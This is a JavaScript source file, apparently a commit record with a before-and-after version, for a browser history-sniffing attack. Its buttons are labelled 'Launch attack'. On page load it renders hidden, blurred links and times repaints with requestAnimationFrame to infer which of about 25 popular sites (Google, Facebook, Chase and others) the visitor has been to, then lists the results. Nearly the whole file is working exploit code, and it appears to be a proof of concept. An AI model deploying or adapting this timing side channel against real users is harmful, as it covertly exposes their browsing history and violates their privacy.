		var linksToResults = {};
		return new Promise(function(resolve, reject){
			LINKS.forEach(function(link){
				promise = promise
					.then(function(){
						return checkIsLinkVisited(link, nbIter, optimizedParameters.non_visited_series);
					})
					.then(function(result){
						linksToResults[link] = result;
						if(Object.keys(linksToResults).length == LINKS.length){
							resolve(linksToResults);
						}
					});
			});
		});
	}

	launchOptim(45).then(function(optimizedParameters){
		return testLinks(optimizedParameters);
	}).then(function(res){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		for(var link in res){
			var result = res[link];
			var li = document.createElement('li');
			li.className = result.visited ? 'visited' : 'unvisited';
			var a = document.createElement('a');
			a.href = link;
			a.appendChild(document.createTextNode(link));
			li.appendChild(a);
			li.appendChild(generateDetails(result));
			links.appendChild(li);
		}
		launchTest.innerHTML = "Launch attack";
		attackRunning = false;
	}, function(optimizedParameters){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		launchTest.innerHTML = "Attack doesn't work in your browser";
	}).catch(function(err){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		launchTest.innerHTML = "Attack doesn't work in your browser";
	});
}

runAttack();

launchTest.addEventListener("click", function(){
	if(!attackRunning){
		runAttack();
	}
});
<commit_msg>fixed value for median<commit_after>"use strict";

var attackRunning = false;
var launchTest = document.getElementById("launch-test");

const NEVER_VISITED =
		"http://laddress-you-must-have-never-visited-before100000.com";
const NEVER_VISITED2 =
	"http://laddress-you-must-have-never-visited-before200000.com";
const LINKS = [
	location.href,
	"https://www.google.com",
	"https://www.facebook.com",
	"https://twitter.com",
	"https://twitter.com/upsuperx",
	"https://bugzilla.mozilla.org",
	"https://www.google.co.uk",
	"http://www.youtube.com",
	"https://www.linkedin.com",
	"http://www.craigslist.org",
	"http://stackoverflow.com",
	"http://www.bing.com",
	"http://www.bbc.co.uk",
	"http://www.microsoft.com",
	"http://www.amazon.com",
	"http://www.reddit.com",
	"http://news.ycombinator.com",
	"http://www.wordpress.com",
	"http://pinterest.com",
	"http://www.apple.com",
	"http://arstechnica.com",
	"https://www.quora.com",
	"https://www.yahoo.com",
	"https://www.instagram.com",
	"https://www.chase.com"
];

const test_area = document.getElementById('test-area');
const test_links = test_area.children;

function initTestArea(num) {
	var count = num / Math.pow(window.devicePixelRatio, 2);
	// We create count links
	for (var i = 0; i < count; i++) {
		var a = document.createElement('a');
		a.appendChild(document.createTextNode('### ### ###'));
		test_area.appendChild(a);
	}
}

function setTestAreaLink(link) {
	for (var i = 0; i < test_links.length; i++) {
		test_links[i].href = link;
		// test_links[i].style.color = "";
		// test_links[i].style.color = "red";
	}
}

function requestAnimationFrames(callbacks) {
	if (callbacks.length > 0) {
		requestAnimationFrame(function(t){
			callbacks.shift()(t);
			requestAnimationFrames(callbacks);
		});
	}
}

function EMPTY_LOOP(){}
function checkOnePass(link) {
	return new Promise(function(resolve, reject){
		var timestamps = [];
		function getCallback(link, log_time) {
			return function(t){
				if (log_time){
					timestamps.push(t);
				}
				setTestAreaLink(link);
			};
		}
		var callbacks;
		callbacks = [
		getCallback(NEVER_VISITED, false),
		getCallback(NEVER_VISITED, false),
		getCallback(link, true), EMPTY_LOOP,
		getCallback(NEVER_VISITED, true), EMPTY_LOOP,
		function(t){
				timestamps.push(t);
				resolve({
					test: [timestamps[1] - timestamps[0],
								timestamps[2] - timestamps[1]],
				});
			}
		];
		requestAnimationFrames(callbacks);
	});
}
function computeMedian(series) {
	var sorted = series.slice(0);
	sorted.sort();
	var median_index = Math.floor(sorted.length / 2);
	if (median_index * 2 != sorted.length) {
		return sorted[median_index];
	} else {
		return (sorted[median_index - 1] + sorted[median_index]) / 2;
	}
}
function examineTimeSeries(test_series, base_series) {
	var test_median = computeMedian(test_series);
	var base_median = computeMedian(base_series);
	return test_median > base_median * 1.10;
}

function checkIsLinkVisited(link, nbIter, base_series) {
	return new Promise(function(resolve, reject){
		var test_series = [];
		var promise = Promise.resolve();
		for (var i = 0; i < nbIter; i++) {
			promise = promise
				.then(function(){
					return checkOnePass(link);
				})
				.then(function(times){
					test_series.push(...times.test);
				});
		}
		promise.then(function(){
			var visited = examineTimeSeries(test_series, base_series);
			resolve({ visited, test_series, base_series });
		});
	});
}

function runNonVisited(nbIter){
		return new Promise(function(resolve, reject){
			var base_series = [];
			var promise = Promise.resolve();
			for (var i = 0; i < nbIter; i++) {
				promise = promise
					.then(function(){
							return new Promise(function(resolve, reject){
									var timestamps = [];
									function getCallback(link, log_time) {
											return function(t){
												if (log_time){
													timestamps.push(t);
													}
													setTestAreaLink(link);
											};
									}
									var callbacks;
									callbacks = [
											// getCallback(NEVER_VISITED, false),
											getCallback(NEVER_VISITED, false),
											getCallback(NEVER_VISITED, true), EMPTY_LOOP,
											getCallback(NEVER_VISITED2, true), EMPTY_LOOP,
											getCallback(NEVER_VISITED, true), EMPTY_LOOP,
											function(t){
												timestamps.push(t);
												resolve({
														base: [timestamps[1] - timestamps[0],
																timestamps[2] - timestamps[1]]
												});
											}
									];
									requestAnimationFrames(callbacks);
							});
					}).then(function(times){
							base_series.push(...times.base);
					});
			}
			promise.then(function(){
				resolve(base_series);
			});
		});
}

function runVisited(nbIter){
		return new Promise(function(resolve, reject){
			var base_series = [];
			var promise = Promise.resolve();
			for (var i = 0; i < nbIter; i++) {
				promise = promise
					.then(function(){
							return new Promise(function(resolve, reject){
									var timestamps = [];
									function getCallback(link, log_time) {
											return function(t){
													if (log_time){
													timestamps.push(t);
													}
													setTestAreaLink(link);
											};
									}
									var callbacks;
									callbacks = [
										getCallback(NEVER_VISITED, false),
										getCallback(LINKS[0], true), EMPTY_LOOP,
										getCallback(NEVER_VISITED, true), EMPTY_LOOP,
										function(t){
												timestamps.push(t);
												resolve({
													test: [timestamps[1] - timestamps[0],
																timestamps[2] - timestamps[1]],
												});
											}
										];
									requestAnimationFrames(callbacks);
							});
					}).then(function(times){
							base_series.push(...times.test);
					});
			}
			promise.then(function(){
				resolve(base_series);
			});
		});
}

function listTimes(time_series) {
	return time_series.map(t => Math.round(t)).join(', ');
}
function generateDetails(result) {
	var ul = document.createElement('ul');
	ul.className = 'details';
	var test = document.createElement('li');
	test.appendChild(document.createTextNode(`test: ${listTimes(result.test_series)}`));
	ul.appendChild(test);
	return ul;
}

function runAttack(){
	var nbFailures = 0;
	attackRunning = true;
	launchTest.innerHTML = "Attack running ...";
	test_area.style.position = "fixed";
	test_area.style.display = "block";

	const links = document.getElementById('links');
	links.innerHTML = "";
	initTestArea(500);
	var promise = Promise.resolve();
	var calibrate = true;
	var base_series = [];
	var iter_to_base_series = {};
	var non_visited_series = [];
	var visited_series = [];
	var timeRequired = [];
	var testAreaElt = document.getElementById("test-area");
	// position:fixed;
	// top: 0; left: 0;
	// right: 0; bottom: 0;

	function optimizeParameters(promiseCondition, nbIter, blurPx){
		return new Promise(function(resolve, reject){
			var start;
			if(nbIter == 1){
				return reject("0iter");
			}

			testAreaElt.style.filter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
			testAreaElt.style.webkitFilter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%);";
			promiseCondition.then(function(){
				start = performance.now();
				return runNonVisited(nbIter);
			}).then(function(result){
				non_visited_series = result;
				iter_to_base_series[nbIter] = result;
				return Promise.resolve();
			}).then(function(res){
				return runVisited(nbIter);
			}).then(function(result){
				visited_series = result;
				var validated = examineTimeSeries(visited_series, non_visited_series);
				return Promise.resolve(validated);
			}).then(function(result){
				timeRequired.push(performance.now()-start);
				if(result){
					optimizeParameters(Promise.resolve(), nbIter-1, blurPx-5).then(function(res){
						var resParameters = {
							nbIter: res.nbIter,
							blur: res.blur,
							non_visited_series: res.non_visited_series
						}
						return resolve(resParameters);
					}, function(res){
						var resParameters = {
							nbIter: nbIter,
							blur: blurPx,
							non_visited_series: iter_to_base_series[nbIter]
						}
						return resolve(resParameters);
					});
				} else{
					return reject("Should not be there ?");
				}
			}).catch(function(err){
				return resolve("An exception occured");
			});
		});
	}

	function launchOptim(blur){
		return new Promise(function(resolve, reject){
			var p1 = optimizeParameters(Promise.resolve(), 3, blur);
			p1.then(function(optimizedParameters){
				return resolve(optimizedParameters);
			}, function(failure){
				nbFailures++;
				if(nbFailures > 3){
					return reject("failure");
				}
				launchOptim(blur+10).then(function(res){
					return resolve(res);
				}, function(err){
					return reject("failure");
				});
			}).catch(function(err){
				return reject("failure");
			});
		});
	}

	function testLinks(optimizedParameters){
		var blurPx = optimizedParameters.blur;
		//We set the filter with the optimal value
		testAreaElt.style.filter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
		testAreaElt.style.webkitFilter = "blur("+blurPx+"px) blur("+blurPx+"px) opacity(0%)";
		// We shouldn't have to do +1, fix this !
		var nbIter = optimizedParameters.nbIter;
		var linksToResults = {};
		return new Promise(function(resolve, reject){
			LINKS.forEach(function(link){
				promise = promise
					.then(function(){
						return checkIsLinkVisited(link, nbIter, optimizedParameters.non_visited_series);
					})
					.then(function(result){
						linksToResults[link] = result;
						if(Object.keys(linksToResults).length == LINKS.length){
							resolve(linksToResults);
						}
					});
			});
		});
	}

	launchOptim(45).then(function(optimizedParameters){
		return testLinks(optimizedParameters);
	}).then(function(res){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		for(var link in res){
			var result = res[link];
			var li = document.createElement('li');
			li.className = result.visited ? 'visited' : 'unvisited';
			var a = document.createElement('a');
			a.href = link;
			a.appendChild(document.createTextNode(link));
			li.appendChild(a);
			li.appendChild(generateDetails(result));
			links.appendChild(li);
		}
		launchTest.innerHTML = "Launch attack";
		attackRunning = false;
	}, function(optimizedParameters){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		launchTest.innerHTML = "Attack doesn't work in your browser";
	}).catch(function(err){
		testAreaElt.style.position = "relative";
		testAreaElt.style.display = "none";
		launchTest.innerHTML = "Attack doesn't work in your browser";
	});
}

runAttack();

launchTest.addEventListener("click", function(){
	if(!attackRunning){
		runAttack();
	}
});
<|endoftext|>